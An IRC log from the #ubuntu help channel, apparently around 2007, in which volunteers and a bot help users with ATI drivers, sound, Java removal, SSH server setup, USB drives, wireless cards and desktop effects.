[11:21] <ubotu> notv  try this if you haven'T: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[11:21] <stefg> dwxreaper: uninstall networkmanager
[11:21] <WaltzingAlong> rafaelscj: no i just all ssh for sftp transfers
[11:21] <Polygon89> Jowi, nm-applet is also not working on other accounts
[11:21] <WaltzingAlong> LinuxJuggalo: check https://help.ubuntu.com/community/HdaIntelSoundHowto
[11:21] <dwxreaper> stef: thanks
[11:22] <stefg> dwxreaper: and avahi
[11:22] <LinuxJuggalo> WaltzingAlong i already did, and i did everything listed in there but still no luck
[11:22] <stefg> dwxreaper: these are the usual suspects
[11:22] <notv> how do make sure fglrx is not disabled?
[11:22] <jah_> hi
[11:23] <jah_> how would I easily remove ALL java stuff and reinstall
[11:23] <Pelo> notv,  I think you want it disable for now
[11:23] <jah_> i got conflicting version
[11:23] <jah_> s
[11:23] <jah_> everywhere
[11:23] <stefg> notv: glxinfo | grep direct
[11:23] <Pelo> jah_, open synaptic,  search for java , and  revome completely want you don'T want
[11:23] <notv> unable to open display
[11:24] <jah_> Pelo then "java" shouldnt work anymore right?
[11:24] <hjmills> jah_, uninstall the jre stuff and it wont
[11:24] <rafaelscj> LinuxJuggalo, Ubuntu 7.04 detected my HDA...
[11:24] <Pelo> jah_, if you remove everything java from synatpic it donT' think it should
[11:24] <tezem> I get "E: dsss_0.72.1-1_source.changes: bad-distribution-in-changes-file gutsy" when building my source package, what can be the reason for this?
[11:24] <hjmills> jah_, jre being the java runtime environment
[11:24] <WaltzingAlong> LinuxJuggalo: have you added "options snd-hda-intel model=auto" to /etc/modprobe.d/alsa-base ?
[11:24] <juri245> in adding new applications, often ubuntu asks to reinsert cd. can I avoid this??
[11:25] <WaltzingAlong> juri245: remove the repo links to the dvd
[11:25] <Polygon89> juri245, go to the repos thing in prefs, and deselect CD/DVD
[11:25] <WaltzingAlong> juri245: manage repositories, commenting links to the disk
[11:25] <rafaelscj> LinuxJuggalo, what's ubuntu's version are you using?
[11:25] <stefg> juri245: comment the CD entry out of /etc/apt/sources.list
[11:25] <juri245> stefg+ thanks!
[11:26] <magnum100> cerco chat
[11:26] <rene> list
[11:26] <notv> following this walkthrough, i already installed the xorg-driver-fglrx
[11:26] <notv> it says next to make sure its not disabled
[11:26] <jrib> tezem: lintian(?) doesn't know about gutsy yet.  I'm guessing you are on feisty
[11:26] <WaltzingAlong> LinuxJuggalo: another suggestion has been to use the model=xstack such as   'options snd-hda-intel model=6stack'
[11:26] <LinuxJuggalo> WaltzingAlong yes but it wasnt model=auto, i added the model to the one closest to my model, but i will try that now, reboot and if i still got no sound i'll be back
[11:26] <LinuxJuggalo> thanks WaltzingAlong
[11:26] <WaltzingAlong> LinuxJuggalo: reboot?
[11:26] <notv> it says to open gedit, but nothing will display
[11:27] <stefg> notv: get your typing and reading straight :-)
[11:27] <tezem> jrib: yes I am but I use pbuilder for building a gutsy package
[11:27] <WaltzingAlong> LinuxJuggalo: i have documention of the process on the computer i did these things to get the sound working. ... but of course have no access to it just now
[11:27] <axz> Gusy whats link for repo packges?
[11:27] <Pelo> notv,  from the command line ?    sudo nano /etc/X11/xorg.conf    as in  X one one , not X L L ,  and remember that linux is case sensitive
[11:27] <stefg> !gutsy | axz
[11:27] <ubotu> axz: Gutsy Gibbon is the code name for the next release of Ubuntu (7.10) | (due October 2007) | It is development software, as such unstable, support _only_ in #ubuntu+1
[11:28] <jah_> Pelo: I uninstalled everything but java still is there
[11:28] <rule29> hello, was wondering if anyone has ever used one of these sata -> usb converters. i suddenly have a mount problem using one
[11:28] <Pelo> jah_,  open the terminal and try   locate java , see what is still on
[11:28] <hjmills> jah_, including jre?
[11:28] <notv> it opened a blank file
[11:28] <tezem> jrib: well then the error must be somewhere else because when I try to build my package in my gutsy pbuilder env. the package gdc-4.1 is not found and I don't understand why.
[11:29] <rule29> although i can see in dmesg that it is recognising the disk, i cannot mount it
[11:29] <Pelo> notv, that'S because you are not typing it properly,
[11:29] <Pelo> notv,  from the command line ?    sudo nano /etc/X11/xorg.conf    as in  X one one , not X L L ,  and remember that linux is case sensitive
[11:29] <BernieMac> Does anyone know if I can disable the touch pad on my laptop in ubuntu?
[11:29] <Skyfalcon866> how do i make programs transparent
[11:30] <pike_> BernieMac: gksu gedit /etc/X11/xorg.conf
[11:30] <jah_> Pelo: http://pastebin.com/d5339e48d
[11:30] <Pelo> BernieMac,  probably,  I would look into xorg.conf and comment out the appropriate lines
[11:30] <stefg> rule29: is it in cat /proc/partitions ?
[11:30] <jah_> :(((
[11:30] <hjmills> BernieMac, if your laptop has a Fn key thing to do it or a button to toggle it you can use that
[11:30] <rafaelscj> !synaptics
[11:30] <ubotu> For a comprehensive Synaptics Touchpad guide, see https://help.ubuntu.com/community/SynapticsTouchpad
[11:30] <jrib> tezem: #ubuntu-motu is probably a better place to ask these questions
[11:30] <Pelo> jah_, hold on while I have a look
[11:30] <rule29> nup stefg
[11:30] <hjmills> BernieMac, otherwise edit the xorg conf file as someone else said
[11:30] <BernieMac> Alright, I'll try that. Thanks!
[11:30] <rule29> but i see it in /dev/ as /dev/sdc
[11:30] <tezem> jrib: ok thx
[11:30] <jah_> but I deinstalled all the stuff from synaptic
[11:30] <rule29> but not as /dev/sdc1 which is what i think it probably should come up as
[11:30] <notv> my bad again...im walking across a room because i dont have the wireless up yet
[11:30] <stefg> rule29: so the disk might be found, but no partition table is found
[11:31] <rule29> ok stefg
[11:31] <rule29> is there anyway to repair that?
[11:31] <rule29> its this converter that did it. i accidentally plugged in the usb part before pluggin in the a/c power to the disk. :/
[11:31] <knightz> what is the next version of ubuntu n where can i get it?
[11:31] <rule29> hoping the disk isnt completely ruined
[11:31] <hjmills> rule29, does this drive have any data on it?
[11:31] <rule29> yes hjmills
[11:31] <webpirate> hello all
[11:31] <attunix> Anyone here good with Java?
[11:31] <hjmills> rule29, do you think it is faulty?
[11:32] <rule29> its my old /home partition
[11:32] <stefg> !gutsy | knightz
[11:32] <ubotu> knightz: Gutsy Gibbon is the code name for the next release of Ubuntu (7.10) | (due October 2007) | It is development software, as such unstable, support _only_ in #ubuntu+1
[11:32] <Pelo> jah_,   thos are all folders,  type gksu nautilus  that will give you the filemanager in root mode, and go delete those folders manualy
[11:32] <hjmills> rule29, ah
[11:32] <rule29> nah it worked fine last night. its this device which screwed it up...
[11:32] <webpirate> any fix for the digital camera problem with the new kernel yet?
[11:32] <rule29> i just cant tell how screwed it is yet :P
[11:32] <Numz> My penis hurts
[11:32] <rule29> waiting to hear back from the manufacturer
[11:32] <Pelo> h
[11:32] <hjmills> rule29, oh ok - maybe try looking at testdisc and recovering partition info then fscking the disk if its lost its partition info
[11:32] <Pelo> !ohmy | Numz
[11:32] <ubotu> Numz: Please watch your language and keep this channel family friendly.
[11:32] <hjmills> !ohmy > Numz
[11:33] <webpirate> OOps...just checked....New Library updates..
[11:33] <rule29> ok hjmills i'll get testdisc
[11:33] <attunix> Can anyone help me with Java? I keep getting a "Exception in thread "main" java.lang.NoClassDefFoundError: hello/class" error in a Hello World app. Here's the source: http://rafb.net/p/LEuwNq83.html
[11:33] <Grungebunny> Numz we don't offer support for that here.. try #Medical-problems
[11:33] <hjmills> rule29, thats only needed if there is no partition info but if you see no sdc1 then its probable
[11:33] <Numz> Sorry, thing is Ubuntu caused it :(
[11:33] <Pelo> attunix, the source for java or for a java app ?
[11:33] <rule29> ok hjmills
[11:34] <hjmills> rule29, are you sure it is sdc the data is on?
[11:34] <attunix> Pelo: I used javac to make helloworld.java into helloworld.class and then I used java helloworld.class
[11:34] <thisguy_> quick question, apache, or apache2 ?
[11:34] <rule29> hjmills: well i unplugged it and replugged it in, and theres /dev/sdb and /dev/sdc listed. its also the only usb hdd plugged in right now
[11:34] <stefg> attunix: ##java
[11:34] <Pelo> attunix, I think you need a java channel for that
[11:34] <LinuxJuggalo> WaltzingAlong that did not work
[11:35] <attunix> my irc thingy isn't working.
[11:35] <rule29> !testdisc
[11:35] <ubotu> Sorry, I don't know anything about testdisc - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[11:35] <attunix> I keep getting messages from ##java but the window's not there.
[11:35] <webpirate> seems like the new kernel is having troubles with USB storage devices....my Cameras don't work either....but my USB stick does...
[11:35] <DarkED> is there any way i can set only certain partitions to show on my desktop instead of ALL of them?
[11:35] <rule29> hjmills: is that part of something else?
[11:35] <cerneula> hi everyone
[11:35] <rule29> testdisc that is
[11:35] <Pelo> attunix, what app are you using ?
[11:35] <stefg> rule29: sudo apt-get install testdisk
[11:35] <ikonia> webpirate what new kernel ?
[11:35] <jrib> DarkED: mount the ones you don't want to show up to a place other than /media
[11:35] <LinuxJuggalo> still no sound :(
[11:35] <DarkED> jrib, really? thanks
[11:35] <rule29> hrmm actually parted isnt recognising the disk
[11:35] <jrib> DarkED: I think so...
[11:36] <rule29> ty stefg
[11:36] <hjmills> rule29, my bad - its testdisk (with a k)
[11:36] <DarkED> jrib, but if i do that they wont appear in places either, will they?
[11:36] <Pelo> later folks
[11:36] <webpirate> are you sure you selected the right device...
[11:36] <jrib> DarkED: well, you could add a bookmark in nautilus if you want them to and they don't
[11:36] <Wips> Is is possible to shutdown a program that has frozen? with e.g a hotkey
[11:36] <Numz> Does server edition not have  GUID?
[11:36] <webpirate> I messed up like that once...but then realized that I have to go into the menu and select the device
[11:37] <Numz> not have a GUI?*
[11:37] <jrib> Wips: run 'xkill' and then click on the frozen program
[11:37] <bruenig> Numz, no
[11:37] <webpirate> Server does not as far as I can tell
[11:37] <Numz> Ewww!
[11:37] <bruenig> or yes
[11:37] <webpirate> but I am sure you can install xwindows on it though..
[11:37] <|brad|> but you can install ubuntu-desktop... .so its really not a big deal
[11:37] <bruenig> gui on server, eww indeed
[11:38] <Numz> How do I install a GUI?
[11:38] <bruenig> ubuntu on a server is eww enough
[11:38] <Numz> I'm using ubuntu to run a saba home server
[11:38] <|brad|> apt-get install ubuntu-desktop
[11:38] <snoopeh> Hey looking for help on setting up a 'Sandisk 4gb cruzer micro' flash drive, onto ubuntu. Could anyone help?
[11:38] <|brad|> bruenig, ?
[11:38] <Wips> jrib, ok, ty.. what if a program froze and I'm not able to get into the terminal?
[11:38] <webpirate> hmm....not sure but something like sudo apt-get install kde
[11:38] <DavidWilh> hey. i need some help w/ "Destop Effects"... it says "no composite extension available...
[11:38] <bruenig> !effects | DavidWilh
[11:38] <ubotu> DavidWilh: For help or discussion on Beryl or Compiz desktop effects, please go to #ubuntu-effects
[11:38] <Numz> i just type that in the shell?
[11:38] <LinuxJuggalo> WaltzingAlong, it did not work, i still have no sound
[11:38] <webpirate> that means you are using an ATI card and should go buy an Nvidia card
[11:38] <stefg> snoopeh: just plug it in
[11:39] <snoopeh> stefg:  didn't auto detect
[11:39] <snoopeh> erm
[11:39] <snoopeh> it detected
[11:39] <snoopeh> just didn't mount
[11:39] <stefg> snoopeh: use a different port
[11:39] <stefg> snoopeh: ou might need to format it
[11:40] <snoopeh> Including the existing software that comes with the flash drive/
[11:40] <snoopeh> ?
[11:40] <jrib> Wips: you can't really do much if you can't get to a terminal.  Maybe you can try ctrl-alt-f1 to get to tty1 and use 'pkill' or 'kill' there.  Or, try restarting X with ctrl-alt-backspace
[11:40] <meoblast001> hello
[11:40] <nikolam> hi
[11:41] <Numz> |brad| Do i have to be in root?
[11:41] <meoblast001> how does one get MTP devices to work with Ubuntu
[11:41] <meoblast001> and what program can write to the right spot?
[11:41] <|brad|> Numz, yes you always have to be root to install software to the system
[11:41] <stefg> snoopeh: that os windows stuff which is of no use for ubuntu. you'll always have two drives, on of which is just trash, because it contains redonly stuff for windows
[11:41] <seraph34> hey kids
[11:41] <DarkED> jrib, heh, oddly enough, mounting that partition in /mnt made it appear on desktop as well :)
[11:41] <rule29> hrmmm hjmills this testdisk is kinda vague
[11:41] <seraph34> got a strange little dealio going on
[11:41] <Numz> |brad| Whats the default root password?
[11:41] <stefg> !root
[11:41] <ubotu> Do not try to guess the root password, that is impossible. Instead, realise the truth.. there is no root password. Then you will see that it is sudo that grants you access and not the root password. Look at https://help.ubuntu.com/community/RootSudo
[11:41] <jrib> DarkED: erm, don't know then
[11:41] <|brad|> Numz, are you kidding? lol
[11:41] <webpirate> GRRR...
[11:41] <rule29> Linux version (ext2fs lib: 1.40-WIP, ntfs lib: avaible, reiserfs lib: none)
[11:42] <snoopeh> stefg, any suggestions on mounting it
[11:42] <gordonjcp> Numz: there isn't a default root password
[11:42] <tes_> #indolinux
[11:42] <DarkED> "There is no root!"
[11:42] <webpirate> Anyone have luck with the Canon A430 on Ubuntu 7.04?
[11:42] <stefg> snoopeh: plug it in and run sudo fdisk -l. what does it say?
[11:42] <Numz> So how would i go about installing something in CLI?
[11:42] <stefg> !pastebin | snoopeh
[11:42] <ubotu> snoopeh: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[11:43] <DavidWilh> no one is answering in ubuntu-effects... can i PLZ GET SOME HELP HERE?
[11:43] <webpirate> I can't get it to work after I update....on a fresh install it works...but then if I updates it stops working
[11:43] <webpirate> :(
[11:43] <glasse> Is there a log for updates which are made automatically?
[11:43] <BernieMac> anyone know why my vlc player would stop playing the video(but continue with audio) if I click or move the window?
[11:43] <hjmills> rule29, i havent used it much I'm afraid - I just know it's meant to recover the partition table
[11:43] <seraph34> so I'm trying to disable my touchpad, but when I type "gksu gedit /etc/X11/xorg.conf" the .conf file is blank... I've also tried it in root and with sudo before it... any ideas?
 Don't even bother trying to get effects to work with ATI
[11:43] <rule29> hrmm well just tried it and gparted still cant see that drive >_>
[11:43] <rule29> hang on, food time brb
[11:43] <cerneula> can anybody help?
[11:43] <cerneula> I would like to access my home computer (Ubuntu 7.04) from work via ssh
[11:43] <cerneula> First I opened port 22 in my router, then I installed Firefighter and opened the port in my home computer
[11:43] <cerneula> However when I do nmap in the console all ports are closed. I tried restarting, but still all ports closed
[11:43] <cerneula> I would be grateful of any hints. Please note I'm new to linux. Thank you!
[11:44] <snoopeh> sec stef
[11:44] <tes_> pada ngomong bahasa apa sihhh
[11:44] <stefg> cerneula: sudo apt-get install openssh-server on your home box
[11:44] <DavidWilh> I HAVE IT RUNNING ON MY DESKTOP WITH A 2K6 AIW. BUT THIS MOBILITY IS pwning ME
[11:44] <rule29> cerneula: did you try it at all without the firefighter?
[11:44] <snoopeh> http://paste.ubuntu-nl.org/37351/
[11:44] <rule29> or that
[11:44] <rule29> heh
[11:44] <webpirate> I spent 1 years trying and failed....then I bought Nvidia...Put the card in my computer and in 10 minutes Beryl was up
[11:44] <tes_> help me plz !
[11:44] <ikonia> DavidWilh calm down
[11:44] <DavidWilh> SRY.
[11:44] <cerneula> thank you stefg
[11:44] <seraph34> what's the problem Dav?
[11:44] <WaltzingAlong> linuxjuggalo you may need to use a few different combinations
[11:45] <DavidWilh> that pwning was supposed to be the only thing in caps
[11:45] <|brad|> cerneula, is the ssh server installed?
[11:45] <cerneula> rule29 I didn't try with out
[11:45] <DavidWilh> it says "no composite extension available
[11:45] <webpirate> Not sure if the mobility will work...
[11:45] <snoopeh> the reason theres no partition table for hdc is that its brand new and I'll be putting windows on it later
[11:45] <doug__> hey WaltzingAlong  can u join me in #wwed please i need some help
[11:45] <Parkin_131234234> how can i install php/apache/mysql on ubuntu? (just for local testing)
[11:45] <DavidWilh> i fscking hate ati. :(:(
[11:45] <hjmills> rule29, http://www.cgsecurity.org/wiki/TestDisk
[11:45] <Numz> |brad| Must i have the CD inside to install ubuntu-desktop or can i get it to fetch it online?
[11:46] <webpirate> If you try to use beryl with ATi you will loose your 3d in linux....
[11:46] <cerneula> brad:well I have ssh available, but I don't know about the server, how can I know that?
[11:46] <WaltzingAlong> hopefully opensourcing the fglrx driver will help with beryl + ati (+ kde)
[11:46] <rule29> ty hjmills
[11:46] <snoopeh> im assuming its not detecting the flash drive stefg ?
[11:46] <stefg> snoopeh: if there's no partitions there's nothing to mount
[11:46] <LinuxJuggalo> alright i did everything you told me WaltzingAlong, and still no sound :(
[11:46] <|brad|> cerneula, sudo apt-get install openssh-server
[11:46] <hjmills> rule29, that looks like it has some decent documentation - good luck with the drive
 put this at the end of your xorg.conf Section "Extensions"
[11:46] <webpirate> 	Option	    "Composite" "0"
[11:46] <webpirate> 	Option	    "Composite" "Disabled"
[11:46] <DavidWilh> so... i have to wait for the new driver? any timetable for that?
[11:46] <webpirate> EndSection
[11:46] <|brad|> Numz, its not on the cd
[11:46] <cerneula> I think I have because I have Ubuntu 7.04 Server Edition, Doesn't the ssh server come installed by default?
[11:47] <|brad|> cerneula, no
[11:47] <hjmills> !paste |  webpirate,
[11:47] <ubotu> webpirate,: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[11:47] <Numz> |brad| So how do i go about getting it?
[11:47] <usser> DavidWilh: ati is not so bad
 I messed up...don't put that
[11:47] <cerneula> ok I'll install it
[11:47] <Parkin_131234234> how can i install php/apache/mysql on ubuntu? (just for local testing)
[11:47] <WaltzingAlong> LinuxJuggalo: :( i tried a few different options before it worked for me, with the different stack numbers
[11:47] <bmac2> I am having issues trying to run multiple network cards, specifically one wireless and one wired
[11:47] <usser> DavidWilh: or u can install xgl
[11:47] <LinuxJuggalo> im using ubuntu 7.04 btw
[11:47] <bmac2> if I activate the wireless it boots me from the wired network
[11:47] <stefg> snoopeh: you didn't highlight me, so i missed half of it... so hdc is a hardrive, a USB stick should be something like sda
[11:47] <bmac2> anyone seen this problem?
[11:47] <cerneula> what then? Will I be able to ssh my home computer from work?
 Put this Section "Extensions"
[11:47] <webpirate> 	Option	    "Composite" "Enabled"
[11:47] <webpirate> EndSection
[11:47] <DavidWilh> how? i'm a big n00b. i need my hand held...
[11:48] <webpirate> But you will loose your opengl in everything else...like the screensavers
[11:48] <snoopeh> yes
[11:48] <snoopeh> dev/sda
[11:48] <webpirate> did you get that david?
[11:48] <[_Snarf_] > !xmdcp
[11:48] <ubotu> Sorry, I don't know anything about xmdcp - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[11:48] <DavidWilh> almost
[11:48] <[_Snarf_] > !XDMCP
[11:48] <DavidWilh> ok
[11:48] <ubotu> xdmcp is the X Display Manger Control Protocol -- look at http://tldp.org/HOWTO/XDMCP-HOWTO/ to find out how to configure it
[11:49] <hjmills> [_Snarf_] , http://en.tldp.org/HOWTO/XDMCP-HOWTO/
[11:49] <DavidWilh> now... restart x?
[11:49] <seraph34> bmac2 - wireless basically doesn't work in Ubuntu
[11:49] <cerneula> Thank you!
[11:49] <bmac2> dang seraph34
[11:49] <[_Snarf_] > thanks
[11:49] <Floating> lol doesnt wireless work in ubuntu?
[11:49] <bmac2> I am running nagios monitoring my netowrk
[11:49] <snoopeh> stefg:  Yes HDC is a hard drive, its brand new and has not been partitioned yet (as I will be installing xp/vista on it later). I read up that USB Flash Drives should be mounted on /dev/sda , or something along those lines. those
[11:49] <webpirate> yes...
[11:49] <bulmer> wireless works for me am on dapper
[11:49] <DavidWilh> brb
[11:49] <hjmills> seraph34, that's a lie - mine has worked fine for me on my laptop for ages out of the box
[11:49] <webpirate> remember that Opengl will be gone..so your desktop may be slow
[11:49] <usser> DavidWilh: yep xgl craps on your 3d games and stuff big time
[11:50] <bmac2> ok, what do I need to upgrade on this box to get it to work?
[11:50] <seraph34> hjmills - what brand comp and wireless card?
[11:50] <hjmills> bmac2, what wireless card do you have?
[11:50] <hjmills> seraph34, acer aspire 5102WLMi
[11:50] <bmac2> linksys
[11:50] <bmac2> pci card
[11:50] <hjmills> seraph34, I think it is an atheros card
[11:50] <bmac2> in a desktop
[11:50] <DavidWilh> no go
[11:50] <seraph34> ah
[11:50] <neosimag1> is anyone having problems with wpa_supplicant and ubuntu?
[11:50] <hjmills> bmac2, ok, can you run lspci in a terminal and pastebin the output please?
[11:50] <webpirate> I has a dlink PCMCIA card for the longest time...then one day ubuntu decided that it did not like it anymow so I bought USB and works perfect...
[11:50] <bmac2> k
 what error are you getting now?
[11:51] <stefg> snoopeh: look at 'dmesg' taht will give you a clue wether your usb drivers are set up correctly and if any sign of the usb stick is seen
[11:51] <seraph34> I'm running 7.04 and can't seem to get my wireless to do anything but connect... it transmits no info
[11:51] <hjmills> seraph34, what card?
[11:51] <BaD_CrC> hey peeps. i have a pentium 4 550 (3.4ghz w/ hyperthreading). does it make much difference if hyperthreading is enabled in the bios or not?
[11:51] <BernieMac> my wireless works fine in ubuntu, only problem is it won't restart if I leave the card on and reboot
[11:51] <webpirate> Try to Disable your WEP or WPA and see if it works....then you will know if its just a setting
[11:52] <seraph34> uh... not sure... I have an MSI laptop, whatever came with it
[11:52] <DavidWilh> http://pastebin.com/m123ea46f
[11:52] <thedonvaughn> seraph34: first rule in trouble shooting hardware, find out exactly what you have.  otherwise it's nearly impossible to troubleshoot or help
[11:52] <cerneula> THanks a lot! I installed it and now when I nmap, port 22 is opened. Thank you!
[11:52] <hjmills> seraph34, ok, lspci and pastebin the output please
[11:53] <seraph34> yeah, basically
[11:53] <snoopeh> stefg: it is there
 Put this in your Modules section Load  "dri"
[11:53] <snoopeh> do you want a paste bin?
[11:53] <stefg> snoopeh: won't hurt
[11:53] <DavidWilh> already in there
[11:54] <seraph34> 05:09.0 Network controller: RaLink RT2500 802.11g Cardbus/mini-PCI (rev 01)
[11:54] <webpirate> Put a # infront of Load "glx"
[11:54] <notv> i did everything i this tuturial but i still cannot get my ati card to work
[11:54] <bmac2> http://pastebin.com/m4da558e2  is where it is at hjmills
[11:54] <DavidWilh> http://pastebin.com/m31551397
[11:54] <DavidWilh> that it?
[11:54] <seraph34> That's the onlything that looks wireless card-y
 do you have a Section DRI in your xorg.conf?
[11:54] <DavidWilh> that laste pastebin is my xorg.conf
[11:55] <NMajik> I recently tried to install amarok, and the install went without a hitch. However, when I ran /usr/lib/amarok/Install-MP3 the installation failed. Not being overly concerned by this, I used synaptic to "Completely Remove" amarok. But, when I went into Rhythmbox (which I haven't had an issue with before) and tried to play a file it would freeze. I tried a complete removal of rhythmbox which stops when purging configuration files. I reinstalled R
[11:55] <notv> is there something im missing to get this ati card working
[11:55] <webpirate> Try to add this to your DRI section Group 0
[11:55] <LinuxJuggalo> please help me with my sound issue, i dunno what else to do :(
[11:55] <stefg> seraph34: the drivers in ubuntu are buggy. you have to blacklist tehm and use the windows driver with ndiswrapper to get it working. Unfortunately you eed anewer version of ndiswrapper than there is currently in the ubuntu repos, so you have to build ndiswrapper first
[11:56] <nikolam> O have trouble with OOo. With my account. Ooo wont start. With other accounts it do start. I tryed to delete ~/.openoffice.org2 but it didnt hel me.
[11:56] <LinuxJuggalo> i tried everything and still no sound
[11:56] <Numz> How do i add the Universe and Multiverse Repsoitories in CLI?
[11:56] <hjmills> bmac2, seraph34 ok, thanks for the info - i will see waht i can find
[11:56] <seraph34> hoo boy... how would I go about doing that stefg?
[11:56] <DavidWilh> then cycle x?
[11:56] <Floating> just tried a new install on 32bit got this error msg on first load of the dvd: cant access tty; job control turned off
[11:56] <|brad|> Numz, edit /etc/apt/source.lst
[11:56] <Floating> any idears?
[11:56] <LinuxJuggalo> WaltzingAlong do you have documentation of the steps you did to make it work?
[11:56] <webpirate> yes
[11:56] <notv> can anyone help me on this ati driver?
[11:57] <seraph34> also, here is my pastebin... http://pastebin.com/m592f5ab3
[11:57] <Numz> |brad| do i have to sudo that?
[11:57] <skinnypuppy1334> I need to install VMware server on my 6.06 ubuntu, but I don't see it in synaptic.  Anyone have  a 6.06 repo it will be in?
[11:57] <amidaniel> Numz: Yes
[11:57] <cerneula> Hello! Is it possible to start gnome in a remote computer when connected via ssh? If not is there a way to do it?
[11:57] <WaltzingAlong> LinuxJuggalo: not right now, i may have later this evening
[11:57] <webpirate> Ati drivers are really not worth the hassle.......I tried for too long...wasted many hours.....went to Nvidia and love it...I use to hate Nvidia
[11:57] <snoopeh> stefg: http://paste.ubuntu-nl.org/37354/
[11:57] <WaltzingAlong> cerneula: yes there are ways to do it
[11:57] <notv> i dont want to buy a new driver tho
[11:58] <stefg> seraph34: https://help.ubuntu.com/community/WifiDocs/Driver/RalinkRT2500
 Yes... GDM will start gnome
[11:58] <LinuxJuggalo> ok WaltzingAlong ill be here
[11:58] <webpirate> I mean GDM start
[11:58] <DavidWilh> http://pastebin.com/m44bf454e
[11:58] <Numz> Is there a way to install SSH without the CD in?
[11:59] <WaltzingAlong> Numz: yes using the repositories via the internet
[11:59] <Parkin_131234234> i am reading a tutorial on installing php/mysql it says type sudo tasksel install lamp-server4
[11:59] <Floating> yeah dead annoying it keeps asking for the cd when it cant see its the cd :P
[11:59] <Parkin_131234234> *server
[11:59] <DavidWilh> for real, i'm pretty good w/this. but a friend saw me running it, and wanted it. but... i've NEVER ahd this many problems
 Your problem if beyond my knowledge...Sorry
[11:59] <Numz> WaltzingAlong Whats the command for that?
[11:59] <Parkin_131234234> but i get the error:  aptitude failed(100)
[11:59] <WaltzingAlong> Parkin_131234234: yeah that is one option.
[11:59] <DavidWilh> yea
[11:59] <DavidWilh> good try
[11:59] <WaltzingAlong> Numz: sudo aptitude install openssh-server
[11:59] <notv> how come other people can get their ati cards to work but i cannot
[11:59] <DavidWilh> :)
[11:59] <DavidWilh> thz, though
[11:59] <hjmills> bmac2, try this guide: https://help.ubuntu.com/community/WifiDocs/Device/Broadcom_BCM4318_%5bAirForce_One_54g
[11:59] <Parkin_131234234> i get the error:  aptitude failed(100) WaltzingAlong?
[11:59] <bmac2> k hjmills
[11:59] <bmac2> thaks
[11:59] <bmac2> thanks
[11:59] <Parkin_131234234> (im pretty sure i have Feisty Fawn) :/
[11:59] <notv> there must be something im missing but i went over everything multiple times
[12:00] <bmac2> I been beating my head on this one
[12:00] <DavidWilh> anybody else?
[12:00] <Deep7> /ns identify Rugby
[12:00] <|brad|> lol
Don't feel bad it cost me $299.00 to get out of the ATI mess....I LOVED ATI until I moved to linux.....
[12:00] <stdin> time for a new password :p
[12:00] <Potter> It's not registered. :P
[12:00] <stefg> snoopeh: so from the kernels point of view you should have a /dev/sda for that usb-stick. looks fine do far
[12:00] <cerneula> webpirate: I have tried gdm start, but nothing happens
[12:00] <seraph34> notv - what ati card do you have?
[12:00] <felson> anyone else here running WINE on 64bit fawn?
[12:00] <hjmills> bmac2, I have seen a few people do that
[12:00] <webpirate> i got Nvidia card and never looked back as windows again....2 years so far windows free
[12:00] <amidaniel> webpirate: Same fro me with creative sound cards
[12:00] <notv> radeon x1200
[12:00] <amidaniel> None of their new cards have nix support
[12:01] <amidaniel> for*
[12:01] <webpirate> You won't see it on the ssh screen.....
[12:01] <WaltzingAlong> Parkin_131234234: there seems to be a launchpad but report about it https://bugs.launchpad.net/ubuntu/+source/tasksel/+bug/131134
[12:01] <|brad|> hjmills, thats why i never do those type of things in a channel window
[12:01] <bmac2> I have been runnign linux a long time, but this card is driving me nuts
[12:01] <gellioth> somo help with my alsa?
[12:01] <LinuxJuggalo> hello Potter :)
[12:01] <DavidWilh> i'm overr 3 yrs windows freee.... and still can't get this mobility to run beryl
[12:01] <DavidWilh> ubern00b
[12:01] <cerneula> webpirate: where will I see it?
[12:01] <Potter> LINUXJUGGALO
[12:01] <pj_mfc> Hi everyone. I have a DVD burning problem. Everything has worked fine in the past.  Now i get "media is not recognized as recordable DVD" out of gnomebaker. Let me know if you can lend a hand.  Thanks.
[12:01] <webpirate> On the computer that you are sshing into
[12:01] <gellioth> since a lot of days isnt working
[12:01] <notv> yea i just spent 800 bucks on this toshiba
[12:02] <hjmills> |brad|, eh?
[12:02] <Parkin_131234234> hmm ok
[12:02] <Parkin_131234234> what do i do know?
[12:02] <Parkin_131234234> *now
[12:02] <notv> i should have checked into the component compatibility i guess
[12:02] <WaltzingAlong> Parkin_131234234: you could also install the pieces separately. sudo aptitude              then in there find apache, php, and so on
[12:02] <|brad|> hjmills, /ns identify Rugby <--- stuff like that
[12:02] <brasileiro-gauch> Is there a channel in this server when I can expose my blog?
[12:02] <webpirate> Good rule of thumb is to go Nvidia and Soundblaster
[12:02] <notv> seraph34 radeon x1200
[12:02] <Parkin_131234234> ok i will do this
[12:02] <cerneula> webpirate: now I'm lost. What is the point of that? I can't see that screen because, I have not physical access to that computer
[12:02] <Parkin_131234234> thn
[12:02] <Parkin_131234234> thnx
[12:03] <gellioth> the alsa is unconfigured I think since I instaled my capture card isnt working
[12:03] <felson> I am trying to run an app with wine that wants XML support, and it seems that the 64bit deb wasn't compiled with it. Anyone have a clue how to get around this?
[12:03] <seraph34> ah... I have a mobility radeon x700 and the drivers came in the Add/Remove programs app
[12:03] <webpirate> Yes...SSH is just a console tool to perform task on the remote computer if you want to see the computer you will need something like VNC
[12:03] <hjmills> |brad|, oh, lol, I hadn't noticed that
[12:03] <WaltzingAlong> cerneula: what do you want to happen? you want the screen to show where you are? well do this; ssh -CX ip                       then once logged in, lauch any program such as firefox with              firefox &                which will be sent back to you
[12:03] <seraph34> ah.notv .. I have a mobility radeon x700 and the drivers came in the Add/Remove programs app
[12:03] <DavidWilh> ... do you have beryl running, seryph?
[12:04] <hjmills> seraph34, what version of ubuntu are you using?
[12:04] <mauri_> i'm not able to configure my webcam